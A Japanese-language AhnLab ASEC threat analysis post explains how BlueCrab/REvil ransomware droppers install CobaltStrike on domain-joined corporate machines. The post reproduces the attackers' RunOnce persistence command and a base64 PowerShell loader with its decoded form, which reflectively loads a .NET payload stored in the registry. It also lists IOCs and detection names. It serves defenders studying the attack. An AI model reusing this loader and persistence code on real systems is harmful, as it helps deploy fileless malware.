ASEC
  • マルウェアの情報
  • AhnLab 検知
  • 総計
  • 対応ガイド
  • AhnLab
Posted By ATCP , 2021년 02월 01일

BlueCrabランサムウェア、企業環境ではCobaltStrikeハッキングツールをインストール

AhnLab ASEC 分析チームは JS 形式で出回っている BlueCrab ランサムウェア(= Sodinokibi、REvil)感染プロセスで、特定条件においては CobaltStrike ハッキングツールを配布することを確認した。CobaltStrike ハッキングツールは、本来は合法的な目的でペネトレーションテストのために限定的に使用されていたツールであったが、最近ソースコードが流出された以降、マルウェアにおいても活発に使用されている。最近確認された BlueCrab ランサムウェアを配布する JS ファイルでは、企業 AD(Active Directory)環境をチェックし、企業ユーザーである場合は、ランサムウェアではなく CobaltStrike ハッキングツールがインストールされることが確認されており、格別の注意が必要とされている。

BlueCrab ランサムウェアは偽のフォーラムページを通してダウンロードされる JS ファイルによって拡散するランサムウェアであり、それに関連する内容は以下の通り複数の記事を掲載している。

  • 検出回避を実行し続けている BlueCrab ランサムウェア
  • 新たに変形して拡散している JS.BlueCrab ランサムウェア(韓国語)

JS ファイルは C2 にアクセス時、ユーザーシステムの %USERDNSDOMAIN% 環境変数の存在有無をチェックする。

%USERDNSDOMAIN% 環境変数のチェック

%USERDNSDOMAIN% 環境変数が存在する場合、引数に特定の値(“278146”)を追加してリクエストする。その値の有無に応じて、C2 から応答する内容が異なることが確認された。過去には該当する条件でも BlueCrab ランサムウェアをダウンロードしていたが、現在は CobltStrike をダウンロードする。一般的なユーザー環境では該当する環境変数は存在しないが、企業の AD サーバー環境等、ドメインが設定されている場合はその環境変数が存在し、CobaltSrtrike に感染する。

従来の BlueCrab 拡散プロセスにおける JS → PowerShell → .NET Injector → Delphi Loader と続く感染フローは類似しているが、各段階での細かい内容は BlueCrab 配布のケースと違いがある。従来の BlueCrab の配布に関しては、前述したブログのリンクを参照してほしい。

CobaltStrike を配布するペイロードでは、.NET Injector の部分が二つに分かれた。便宜上、1次 .NET PE は「Loader」、2次 .NET PE は「Injector」と称する。「\HKEY_CURRENT_USER\Software\[ユーザー名]+’1′」キーに .NET Loader バイナリが挿入され、「\HKEY_CURRENT_USER\Software\[ユーザー名]」キーに .NET Injector バイナリが挿入される。

以降、実行される Powershell コマンドは[ユーザー名]キーを読み込んで Loader を実行し、実行された Loader は[ユーザー名]+’1′キーを読み込んで Injector を実行する。

Loaderバイナリ

Injectorバイナリ

Loader は実行時に以下の PowerShell コマンドを自動実行キーに登録する。

  • 位置:コンピューター\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\
  • データ:powershell -Win Hi -Command “$r = [Environment]::GetEnvironmentVariable(‘K’, ‘User’).split();$p=$r[0];$r[0]=”;Start-Process $p -ArgumentList ($r -join ‘ ‘) -Win Hi”

環境変数に以下のようなコマンドを登録する。

位置:コンピューター\HKEY_CURRENT_USER\Environment\K
データのソース:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -En “PAAjACAAZQBiAGgAegBvAG8AaQAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADcAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= “
  • データデコード:
    <# ebhzooi #>$u=$env:UserName;for ($i=0;$i -le 700;$i++){$c=”HKCU:\SOFTWARE\”+$u+”1″;Try{$a=$a+(Get-ItemProperty -path $c).$i}Catch{}};function chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);$Bytes = [byte[]]::new($hs.Length / 2);for($i=0; $i -lt $hs.Length; $i+=2){$Bytes[$i/2] = [convert]::ToByte($hs.Substring($i, 2), 16)}$Bytes};$i = 0;While ($True){$i++;$ko = [math]::Sqrt($i);if ($ko -eq 1000){ break}}[byte[]]$b = chba($a.replace(“#”,$ko));[Reflection.Assembly]::Load($b);[Mode]::Setup();

このレジストリ登録行為により、再起動時にも同じ行為を行う Powershell コマンドが実行されるようになる。以降、Loader は[ユーザー名]キーで Injector バイナリを読み込み、メモリにロードしてから実行する。この時に実行される Injector は「C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe」プロセスを実行したあと、Delphi Loader バイナリをインジェクションする。

.NET Loader コード(1)

.NET Loader コード(2)

上記のプロセスにおいて実行された Delphi Loader は内部に存在する CobaltStrike Beacon バイナリを実行する。このプロセスにおいて使用される CobaltStrike Beacon の設定は以下の通りである。

CobaltStrike Beacon の設定

攻撃者は、一般の個人ユーザーにはランサムウェアを、AD サーバー等の企業環境のユーザーには追加の攻撃を実行するために CobaltStrike を感染させる。AD サーバー等によりドメインが設定された企業環境では、特に注意が必要である。疑わしいファイルを実行してはならず、ファイルをダウンロードする際は公式の配布元からダウンロードすることを推奨する。

一方、V3 プロダクトラインではこれらの Fileless 形式の攻撃に対してシグネチャを使用せず、以下のような行為診断としてブロック可能である。

[行為診断]

  • Malware/MDP.Inject.M3044
  • Malware/MDP.Behavior.M3491

[IOC情報]

  • http://www.esist.org
  • http://www.dischner-kartsport.de
  • http://www.ehiac.com
  • 78.128.113.14

Categories: マルウェアの情報

Tagged as: ランサムウェア, bluecrab, CobaltStrike, REvil, Sodinokibi

検出回避を実行し続けているBlueCrabランサムウェア
「2021年 国防部業務報告修正」文書に偽装したマルウェアの拡散

Archives

  • Facebook
  • RSS Feed
follow us in feedly
 

Loading Comments...